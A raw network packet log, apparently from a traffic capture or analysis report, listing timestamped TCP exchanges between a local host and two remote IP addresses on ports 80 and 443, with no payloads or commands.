Dec 20, 2024 07:12:18.209427118 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.210329056 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.210463047 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.210509062 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.211522102 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.211565971 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.211630106 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.212528944 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.212673903 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.212748051 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.212810993 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.213984966 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.213999987 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.214042902 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.214059114 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.215049028 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.215064049 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.215102911 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.215116024 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.216164112 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.216227055 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.216294050 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.216341972 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.217379093 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.217502117 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.217519045 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.217561960 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.218570948 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.218621016 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.218637943 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.218781948 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.219634056 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.219685078 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.219785929 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.219831944 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.220859051 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.220949888 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.221004009 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.221999884 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.222086906 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.222130060 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.223234892 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.223253012 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.223304987 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.224312067 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.224399090 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.224450111 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.225450993 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.225498915 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.225631952 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.225678921 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.226596117 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.226654053 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.226815939 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.226953983 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.227807045 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.227864027 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.227869987 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.227904081 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.228919983 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.228976011 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.229027033 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.229072094 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.230123043 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.230212927 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.230268955 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.231317997 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.231395006 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.231440067 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.232459068 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.232541084 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.232592106 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.233583927 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.233712912 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.233757019 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.234741926 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.234807014 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.234879971 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.234927893 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.235970020 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.236005068 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.236017942 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.236043930 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.237092972 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.237159967 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.237225056 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.237270117 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.238225937 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.238275051 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.238377094 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.238416910 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.239403009 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.239453077 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.239609003 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.240617037 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.240673065 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.240758896 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.241508007 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.241720915 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.241772890 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.401521921 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.401602983 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.401700974 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.401983976 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.402034998 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.402069092 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.402115107 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.403165102 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.403220892 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.403305054 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.403351068 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.404304028 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.404360056 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.404402018 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.404445887 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.405457973 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.405512094 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.405575991 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.405626059 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.406635046 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.406691074 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.406733990 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.406778097 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.407818079 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.407834053 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.407879114 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.409914017 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.409974098 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.410005093 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.410053968 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.410131931 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.410175085 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.410254955 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.410295963 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.411309958 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.411370039 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.411412954 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.411459923 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.412468910 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.412532091 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.412810087 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.412858963 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.413635969 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.413688898 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.413760900 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.413805962 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.414861917 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.414916992 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.414936066 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.414979935 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.415946007 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.415988922 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.416059017 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.416102886 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.417084932 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.417135000 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.417226076 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.417269945 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.418236971 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.418281078 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.418407917 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.418451071 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.419455051 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.419497967 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.419513941 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.419553995 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.420569897 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.420619011 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.420718908 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.420767069 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.421768904 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.421821117 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.421875000 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.421921015 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.422957897 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.423007011 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.423048973 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.423094034 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.424098969 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.424150944 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.424194098 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.424241066 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.425224066 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.425317049 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.425339937 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.425383091 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.426400900 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.426431894 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.426460028 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.426476955 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.427573919 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.427625895 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.427696943 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.427748919 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.428769112 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.428821087 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.428972006 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.429016113 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.429924965 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.429968119 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.430037022 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.430079937 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.431108952 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.431124926 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.431159019 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.431180954 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.432183027 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.432229996 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.432353973 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.432401896 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.433356047 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.433399916 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.433463097 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.433506966 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.434551954 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.434597015 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.434633017 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.434674978 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.435759068 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.435815096 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.435863972 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.435911894 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.436855078 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.436907053 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.436985970 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.437031984 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.438019037 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.438067913 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.438114882 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.438159943 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.439198971 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.439246893 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.439337969 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.439388037 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.440426111 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.440474033 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.440484047 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.440530062 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.441509008 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.441556931 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.441598892 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.441644907 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.442728996 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.442775965 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.442776918 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.442820072 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.443865061 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.443912983 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.444056034 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.444099903 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.444979906 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.445024967 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.445094109 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.445141077 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.446150064 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.446198940 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.446268082 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.446314096 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.447341919 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.447397947 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.447597027 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.447649002 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.448488951 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.448535919 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.448563099 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.448611021 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.449647903 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.449719906 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.449743032 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.449794054 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.450800896 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.450848103 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.451200962 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.451247931 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.451982021 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.452032089 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.452066898 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.452115059 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.453202009 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.453217983 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.453249931 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.453263998 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.454318047 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.454365969 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.454391003 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.454438925 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.455466032 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.455516100 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.455559015 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.455606937 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.456643105 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.456691027 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.456738949 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.456782103 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.457787037 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.457835913 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.457879066 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.457925081 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.458936930 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.458983898 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.459075928 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.459121943 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.460199118 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.460215092 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.460246086 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.460258961 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.461263895 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.461313963 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.461393118 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.461441040 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.462413073 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.462460995 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.505224943 CET	443	49780	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:18.505323887 CET	49780	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:18.506573915 CET	49780	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:18.506587029 CET	443	49780	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:18.507668018 CET	443	49780	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:18.509310961 CET	49780	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:18.509351015 CET	49780	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:18.509401083 CET	443	49780	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:18.593482018 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.593556881 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.593569040 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.593620062 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.593978882 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.594022989 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.594053984 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.594095945 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.594865084 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.594923019 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.594964981 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.595010042 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.596055031 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.596105099 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.596149921 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.596193075 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.597203016 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.597258091 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.597301960 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.597352982 CET	49777	80	192.168.2.4	31.41.244.11
